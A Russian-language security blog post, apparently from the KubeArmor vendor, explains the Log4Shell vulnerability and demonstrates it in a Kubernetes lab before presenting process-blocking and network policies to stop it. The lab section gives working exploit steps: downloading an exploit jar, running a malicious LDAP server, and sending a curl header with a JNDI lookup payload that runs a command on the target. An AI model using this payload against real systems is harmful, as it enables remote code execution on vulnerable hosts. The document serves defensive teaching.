
Уязвимость нулевого дня Apache Log4j, также известная как Log4Shell, также известная как CVE-2021-44228
9 декабря 2021 года мир узнал о новой уязвимости, идентифицированной как CVE-2021-44228, которая затрагивает пакет журналирования Apache log4j для Java. Эта уязвимость получила оценку критичности 10.0 (наиболее критический уровень) и обеспечивает тривиальное удалённое выполнение кода на хостах, работающих с программным обеспечением, использующим эту версию log4j. «Log4Shell» — такое название получила эта атака.
На сегодняшний день доступна версия log4j 2.15.0rc2, которая устраняет эту уязвимость. Однако основная опасность этой уязвимости обусловлена тем, насколько повсеместно распространён этот пакет журналирования. Миллионы приложений, а также поставщики программного обеспечения используют этот пакет как зависимость в собственном коде.
Самое раннее известное обнаружение: 2021-12-01 04:36:50 UTC

Затронутые версии:
Кто затронут?
Воздействие: произвольное выполнение кода от имени пользователя, под которым запущен родительский процесс (код, полученный из публичного интернета, или lolbins, уже присутствующие в системе, или просто получение общих секретов или переменных окружения и передача их атакующему).
Цели: серверы и клиенты, которые запускают Java и логируют что-либо с помощью фреймворка log4j. В первую очередь это проблема серверной стороны, но любая уязвимая конечная точка может стать целью или точкой опоры (pivot point).
Производные проекты: пока не доказано обратное, считайте, что всё, что включает log4j — включая Elasticsearch, Apache Struts / Solr / Druid / Flink и т.д. — затронуто и требует принятия мер по снижению риска (mitigation).
Затронутые версии: log4j 2.x подтверждён — log4j 1.x лишь косвенно (предыдущие уязвимости раскрытия информации) (в некоторых конфигурациях)
Аппаратные устройства (appliances): не забывайте об устройствах, которые могут использовать серверные компоненты Java, но не будут обнаружены неавторизованным сканированием уязвимостей
Пересылка логов: инфраструктура журналирования часто имеет множество топологий пересылки/ретрансляции «северного направления» (northbound — отправка логов кому-то) и «южного направления» (southbound — получение логов от кого-то). Необходимо также учитывать возможность объединения их в цепочку для эксплуатации.
Облако: также затронуты многие крупные провайдеры (курируемый сообществом список программного обеспечения и сервисов, уязвимых к CVE-2021-44228, можно найти в этом GitHub-репозитории.

Шаг №1: Развёртывание пода со связанными сервисами, уязвимыми к Log4j, в Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Обратите внимание: мы развернули уязвимое демонстрационное приложение Log4Shell в пространстве имён
default
Шаг №2: Загрузка вредоносного LDAP-сервера
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Шаг №3: Запуск LDAP-сервера для приёма входящего трафика на вашем ПК или облачной ВМ
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
Частный IP можно узнать с помощью
hostname -I.
Убедитесь, что ваш межсетевой экран разрешает трафик для портов1389и8888
Шаг №4: Эксплуатация с помощью команды cURL
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Здесь 1-й используемый IP — это внешний IP нашего k8s-кластера (Шаг №1), на котором работает уязвимое демонстрационное приложение.
2-й используемый IP — это внешний IP вредоносного LDAP-сервера (Шаг №2)
Шаг №5: Подтверждение путём проверки создания файла /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Замените
log4j-demo-5d7c84d8b9-vs8ckна ваш под из вывода Шага №1.
Вы должны увидеть файл с именемpwned, созданный в каталоге/tmp.
KubeArmor — это платформа безопасности времени выполнения (Runtime Security Platform), которая может помочь командам Security/DevSecOps защищать свои рабочие нагрузки с помощью средств контроля на основе приложений и систем (например, ограничение порождения процессов, ограничение доступа к файловой системе, ограничение capabilities подов и т.д.). KubeArmor имеет режим видимости (visibility), с помощью которого команда приложения/безопасности может включить наблюдение и, таким образом, выяснить, что происходит внутри подов, т.е. какие процессы порождаются, к каким файлам предпринимаются попытки доступа и т.д. Самое большое преимущество KubeArmor в том, что вы как пользователь можете также отправлять политики, которые могут предотвращать/блокировать/запрещать такие системные операции.
Обычно злоумышленник проникает с намерением либо похитить внутренние данные, либо заняться криптомайнингом, либо просто устроить хаос во внутренних приложениях, чтобы сделать их недоступными. Во всех этих случаях злоумышленнику необходимо выполнить произвольную программу, которая сможет реализовать его вредоносный замысел. Уязвимость Log4j позволяет злоумышленнику разместить бинарный файл во внутренней сети. Однако можно установить ограничения (guardrails), чтобы не позволять JVM порождать процессы.
Ниже приведена политика KubeArmor, которая может запретить/предотвратить порождение любых процессов в поде в качестве дочерних процессов Java-приложения.
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
Обратите внимание, что здесь действие — Block. Также обратите внимание на условие fromSource,
которое означает, что запрещены должны быть только exec из указанного процесса.
По сути, в exec отказывается только дочерним процессам Java/JVM. В отличие
от других инструментов, KubeArmor умеет Block (блокировать) системную операцию
во время выполнения.
Во многих случаях могут существовать определённые процессы, которые Java/JVM
по-прежнему должна порождать. В таких случаях лучше всего Allow (разрешить) такие
процессы. Разрешая эти процессы, KubeArmor по умолчанию запрещает exec всех
остальных процессов для данного родительского процесса:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
В этом примере процессам myapp и log4j по-прежнему разрешено
порождаться Java-процессом, но все остальные процессы запрещены.
Глядя на приведённые выше политики, естественно задаться вопросом: как получить спецификацию процессов для разрешения/запрета. Именно здесь в игру вступает режим видимости KubeArmor:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
Блокирование любых процессов, порождаемых JVM/Java-процессом, приводит к следующему предупреждению, когда execve отклоняется (обратите внимание: KubeArmor — это механизм принудительного применения политик):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
Команда Cilium уже представила свой анализ по предотвращению эксплуатации log4j в k8s-окружении с помощью сетевых политик. По сути, политики предотвращения направлены на то, чтобы применялись наименее разрешающие политики для DNS, так что всё, что выходит за эти рамки, запрещено.
Одной из задач команды безопасности в этом контексте может быть выяснение всех возможных FQDN, к которым подключаются поды. Cilium обеспечивает широкую сетевую видимость, с помощью которой можно составить исчерпывающий набор FQDN, к которым обращаются поды.
В дополнение к этим политикам можно предпринять ещё несколько профилактических мер.
RMI — это функциональность, которую большинство организаций использует меньше всего. В случае log4j RMI включён по умолчанию, и большинство организаций, вероятно, не будут против, если его полностью отключить. Поэтому если ваша организация активно не использует эту функцию, лучше всего отключить её полностью. Можно применить следующую политику Cilium:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... где 1099 — это порт RMI по умолчанию.
Правила такого рода легко представить задним числом.
Очевидный следующий вопрос: как предотвратить возможность злоупотребления подобными уязвимостями в будущем.
Произвольное выполнение кода (Arbitrary Code Execution) — это одна из основных моделей атак, и необходимо сосредоточиться на определении того, что делает код «произвольным». «Произвольным» в данном контексте можно считать всё, что не входит в обычный контекст выполнения.
Использование архитектуры Zero Trust (ZTNA) требует указания наименее разрешающего набора политик, который допускает только действия из белого списка и запрещает всё остальное. Таким образом, подход Zero Trust может эффективно защитить организацию от возможности таких атак.
Однако достичь Zero Trust на практике гораздо сложнее. Zero Trust требует, чтобы в организации были соответствующие автоматизация, процессы развёртывания программного обеспечения в сочетании с правильными инструментами. Вот несколько моментов, над которыми стоит поразмыслить:
Подход Zero Trust в сети и в приложениях/системах можно определить следующим образом:
KubeArmor предоставляет гибкие механизмы принудительного применения политик в сочетании с правильными инструментами обнаружения/рекомендаций политик, которые как раз помогают организации ответить на приведённые выше вопросы. Accuknox создала механизмы политик, руководствуясь базовыми принципами проектирования, а именно: каждый механизм политик должен поддерживать наблюдаемость (observability), аудит (dry-run) и варианты принудительного применения (enforcement).
Наблюдаемость в сочетании с механизмом обнаружения политик может предоставить организации требуемые наименее разрешающие настройки политик.

Если вы хотите опробовать механизм обнаружения политик на своём k8s-кластере со своими рабочими нагрузками, пожалуйста, следуйте плейбуку здесь.